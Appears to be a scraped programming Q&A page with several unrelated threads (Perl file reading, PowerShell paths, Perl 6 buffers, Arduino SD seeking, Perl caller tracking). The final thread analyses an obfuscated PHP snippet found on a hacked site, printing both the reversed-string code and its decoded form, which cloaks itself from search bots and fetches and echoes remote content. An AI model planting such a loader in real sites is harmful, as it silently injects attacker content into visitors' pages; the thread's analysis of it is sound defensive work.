String read in from file not responding to string manipulation - string

I have a Perl subroutine that creates a file, like so:
sub createFile {
if (open (OUTFILEHANDLE, ">$fileName")) {
print OUTFILEHANDLE "$desiredVariable\n";
}
close(OUTFILEHANDLE);
}
where $fileName and $desiredVariable have been previously defined. I call that, and then call the following subroutine, which reads from the file, takes the first (only) line, and saves it into the variable $desiredVariable:
sub getInfoFromFile {
if (existFile($fileName)) {
if (open (READFILEHANDLE, "<$fileName")) {
my #entire_file=<READFILEHANDLE>; # Slurp
$desiredVariable = $entire_file[0];
chop $desiredVariable;
close(READFILEHANDLE);
}
}
}
If I leave out the "chop" line, $desiredVariable is what I want, but with a trailing space newline. If I include the "chop" line, $desiredVariable is an empty string. For some reason, "chop" is killing the whole string. I've tried it with $desiredVariable =~ s/\s*$//; and several other string manipulation tricks.
What am I doing wrong?

The code you included does not reproduce the problem. I'm guessing it was lost in translation somehow while you were anonymizing it. I ran the script as follows, the only adjustment I made was -f instead of existsFile().
#!/usr/bin/perl
sub createFile {
if (open (OUTFILEHANDLE, ">$fileName")) {
print OUTFILEHANDLE "$desiredVariable\n";
}
close(OUTFILEHANDLE);
}
sub getInfoFromFile {
if (-f $fileName) {
if (open (READFILEHANDLE, "<$fileName")) {
my #entire_file=<READFILEHANDLE>; # Slurp
$desiredVariable = $entire_file[0];
chop $desiredVariable;
close(READFILEHANDLE);
}
}
}
$fileName = "test.txt";
$desiredVariable = "Hello World!";
createFile();
$desiredVariable = "";
getInfoFromFile();
print "Got '$desiredVariable'\n"; # Got 'Hello World!'

Related

How to place variable in Powershell try/catch block

I have a variable in my script for my path:
$path = "C:\project\"
Then in a function I have:
function DoWork {
try
{
C:\project\myapp.exe /silent
}
catch
{
}
}
I want to replace the string literal in the try block with the variable. I have tried putting ${path} there, and ($path + "myapp.exe /silent") along with other combinations but I seem to get errors still.
What is the correct way to replace the literal path with the path variable?
Construct your path as a string, then supply the string as an argument to the call operator (&):
try
{
$appPath = Join-Path $path myapp.exe
& $appPath
}
catch
{
}
Subsequent string arguments to & will be treated as arguments to the command represented by the first argument:
& $appPath '/silent'
To pass a dynamic list of arguments to an external function call (based on your comments), use splatting:
$Params = #('/silent','/quiet')
$exe = "$Path\myapp.exe"
& $exe #Params
You can also try this:
function DoWork {
$path = "C:\project\"
try
{
"$path\myapp.exe"
}
catch
{
}
}

How do I `say` and `print` into a buffer?

In Perl 6 the Str type is immutable, so it seems reasonable to use a mutable buffer instead of concatenating a lot of strings. Next, I like being able to use the same API regardless if my function is writing to stdout, file or to an in-memory buffer.
In Perl, I can create an in-memory file like so
my $var = "";
open my $fh, '>', \$var;
print $fh "asdf";
close $fh;
print $var; # asdf
How do I achieve the same thing in Perl 6?
There's a minimal IO::String in the ecosystem backed by an array.
For a one-off solution, you could also do someting like
my $string;
my $handle = IO::Handle.new but role {
method print(*#stuff) { $string ~= #stuff.join };
method print-nl { $string ~= "\n" }
};
$handle.say("The answer you're looking for is 42.");
dd $string;
What I currently do is that I wrapped string concatenation in a class as a temporary solution.
class Buffer {
has $!buf = "";
multi method print($string) {
$!buf ~= $string;
}
multi method say($string) {
$!buf ~= $string ~ "\n";
}
multi method Str() {
return $!buf;
}
}
With that, I can do
my $buf = Buffer.new();
say $buf: "asdf";
print $buf.Str;

Arduino: Change position of where the next byte is read on a file

I'm using an XDRduino UNO with an Ethernet Shield. On it I have a micro sd card with a text file. I want to read a specific line of text from the file based on line number. The file is very large so I can't store everything in an array, and I can't store each line in an array and then clear the array because, for example, that code takes a minute to run for line number 65000.
I formatted the file with Python so that all the lines are the same length. My idea was to use the seek() function to change the position that the file is read from (multiplying line length by line number to view the line that I want). The problem is that neither the seek() nor seekSet() functions are changing the position from where the next byte is read. I also tried changing the value of the position() function, but that doesn't work either.
Any ideas?
#include <SD.h>
File myFile;
char StringList [50];
int ListIndex = 0;
char character;
void setup() // run once, when the sketch starts
{
Serial.begin(9600); // set up Serial library at 9600 bps
//just added
while (!Serial) {
}
//end of just added
Serial.println("Hello world!"); // prints hello with ending line break
//just added
Serial.print("Initializing...");
pinMode(10, OUTPUT);
if(!SD.begin(4)){
Serial.println("Failure");
return;
}
Serial.println("Initialization done.");
//end of just added
//myFile = SD.open("AverageVoltageOutputspassiveFilterHigherRes.txt");
myFile = SD.open("testing.txt");
if (myFile) {
while (myFile.available()){
//myFile.seek(500); //THIS DOES NOT CHANGE POSITION
if (myFile.position() == 500) {
character = myFile.read();
if (character != 0X0A) {
StringList[ListIndex] = character;
ListIndex++;
}else {
ListIndex++;
Serial.println(StringList);
break;
}
}
else{
Serial.println("File Position Wrong");
break;
}
}
}
else {
Serial.println("Log!");
}
}
void loop() // run over and over again
{
// do nothing!
}
For one thing, you don't need semicolons in Python unless you're putting multiple statements on a line, but that's not why you're here :-)
Python defaults to opening lines in text mode. Unfortunately, you cannot seek when you do that.
It is perfectly fine to open files in binary mode even if they are text files. I do that all the time. It just means that you have to be cognizant of whether the line ending is \n, \r, or \r\n. So, anyway, to do that:
myFile = SD.open("testing.txt", 'rb')
And then myFile.seek() will magically work.

Distinguish one sub invocation from another

In the following fragment, how can I distinguish the second invocation instance of my sub foo from the first?
while ($whatever) {
foo(); foo(); # foo() and foo() have the same caller package, file, and line
}
Something like a super-caller() that returned file, line and column would do the trick. I'd prefer not to use source filters.
Background, or, isn't this a bit of an XY Problem?
I have a convenience module, Local::Thread::Once, that exposes functionality like pthread_once/std::call_once in an OO-ish way and also as a subroutine attribute. These are easy enough, since there is a natural and unambiguous "once_control" or "once_flag" in either case.
However, there is additionally a procedural interface — once { ... } — that currently serializes based on the $filename and $line returned by caller. Something like this:
sub once(&) {
my $user_routine = shift;
my (undef, $file, $line) = caller;
my $once_control = get_a_shared_flag_just_for_this_invocation($file, $line);
lock($once_control);
if (! $once_control) { $once_control++; $user_routine->(); }
return;
}
That's not precisely how it works — the real one is more efficient — but the point, again, is that invocation is keyed off of the file and line of the caller. This works, except that it cannot distinguish two invocations on the same line.
while ($whatever) {
once { foo(); }
once { bar(); } # OK, foo() and bar() each called only once
once { baz(); }; once { buz(); }; # :( buz() not called, not even once
}
Note that the address of $user_routine cannot be used as an additional discriminant, since subs are copied from one ithread to another.
I can live with this problem as a documented limitation for a very contrived use case, but I'd prefer to fix it somehow.
Devel::Callsite was written precisely for this purpose.
I had to read this a couple of times before I understood what you are talking about. How about a "super caller" function like:
my #last_caller = ("","","",0);
sub super_caller {
my ($pkg,$file,$line) = caller(1 + shift);
if ($pkg eq $last_caller[0] &&
$file eq $last_caller[1] &&
$line eq $last_caller[2]) {
$last_caller[3]++;
} else {
#last_caller = ($pkg,$file,$line,1);
}
return #last_caller;
}
It's like caller but the 4th element is a count of how many times we've seen this exact package, file, and line in a row.
The optree is still so much black magic to me, but here are my observations:
in walking the optree of a code reference, you encounter one B::COP structure
The B::COP structure has file, line, and cop_seq properties (among others)
The cop_seq property is different for different subroutine definitions
Ass-u-me-ing these are true and not a horribly incomplete model of what is happening, you can use file, line, and cop_seq as a key, or maybe even just cop_seq. Here's a proof of concept:
use B;
sub once (&) {
my $code = shift;
my $key = get_cop_seq($code);
print "once called with code '$key'\n";
}
my $optreedata;
sub get_cop_seq {
my $code = shift;
$optreedata = "";
B::walkoptree( B::svref_2object($code)->ROOT, "find_cop_seq" );
return $optreedata;
}
sub B::OP::find_cop_seq {
my $op = shift;
if (ref $op eq 'B::COP') {
$optreedata .= sprintf "%s:%d:%d", $op->file, $op->line, $op->cop_seq;
}
}
sub foo { 42 }
sub bar { 19 };
once { foo }; # this is line 26
once { bar };
once { foo }; once { bar };
once { bar } for 1..5; # line 29
And here's the output (your results may vary):
once called with code 'super-caller2.pl:26:205'
once called with code 'super-caller2.pl:27:206'
once called with code 'super-caller2.pl:28:207' <--- two calls for line 28
once called with code 'super-caller2.pl:28:208' |- with different cop_seq
once called with code 'super-caller2.pl:29:209'
once called with code 'super-caller2.pl:29:209'
once called with code 'super-caller2.pl:29:209' <--- but 5 calls for line 29
once called with code 'super-caller2.pl:29:209' with the same cop_seq
once called with code 'super-caller2.pl:29:209'

What does function s37 in htaccess do?

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif# = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes# { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
This, in turn, generates the following code:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
#setcookie($z37,md5("stats"),time()+10800);
$url = #file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.
function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...

Resources